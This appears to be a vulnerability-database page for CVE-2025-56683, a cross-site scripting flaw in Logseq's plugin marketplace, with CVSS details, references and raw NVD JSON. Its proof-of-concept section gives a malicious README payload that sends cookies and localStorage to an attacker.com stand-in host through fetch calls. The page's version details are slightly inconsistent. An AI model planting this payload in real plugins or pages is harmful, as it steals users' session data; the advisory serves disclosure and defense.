Security Vulnerability Report
中文
CVE-2025-56683 CVSS 9.6 CRITICAL

CVE-2025-56683

Published: 2025-10-09 15:16:07
Last Modified: 2026-04-15 00:35:42

Description

A cross-site scripting (XSS) vulnerability in the component /app/marketplace.html of Logseq v0.10.9 allows attackers to execute arbitrary code via injecting arbitrary Javascript into a crafted README.md file.

CVSS Details

CVSS Score
9.6
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Logseq < 0.10.9(修复提交4cdf49aedd8de073015b6945a529399c3bfa109a之后的版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-56683 PoC: XSS via crafted README.md in Logseq marketplace --> <!-- Save the following content as README.md in a malicious Logseq plugin/theme --> # Malicious Plugin <script> // Arbitrary JavaScript code execution in Logseq context // This demonstrates the XSS vulnerability in /app/marketplace.html // Example 1: Data exfiltration fetch('https://attacker.com/steal', { method: 'POST', body: JSON.stringify({ cookies: document.cookie, localStorage: JSON.stringify(localStorage), url: window.location.href }) }); // Example 2: Execute commands via Logseq API (if available) if (window.logseq) { logseq.App.showMsg('XSS triggered via CVE-2025-56683'); } </script> <img src=x onerror="alert('XSS via CVE-2025-56683')"> <svg onload="fetch('https://attacker.com/log?data='+document.cookie)"> # Normal plugin description continues here...

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-56683", "sourceIdentifier": "[email protected]", "published": "2025-10-09T15:16:07.463", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A cross-site scripting (XSS) vulnerability in the component /app/marketplace.html of Logseq v0.10.9 allows attackers to execute arbitrary code via injecting arbitrary Javascript into a crafted README.md file."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H", "baseScore": 9.6, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 6.0}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://github.com/logseq/logseq", "source": "[email protected]"}, {"url": "https://github.com/logseq/logseq/commit/4cdf49aedd8de073015b6945a529399c3bfa109a#diff-25789e3ba4c2adf4a68996260eb693a441b4a834c38b76167a120f0b51b969f7R72-R74", "source": "[email protected]"}, {"url": "https://github.com/martinkubecka/Attributed-CVEs/blob/main/unresolved-vulnerabilities/logseq_xss_to_rce.md", "source": "[email protected]"}, {"url": "https://martinkubecka.sk/security-advisories/cve-2025-56683/", "source": "[email protected]"}, {"url": "https://martinkubecka.sk/security-advisories/cve-2025-56683/", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}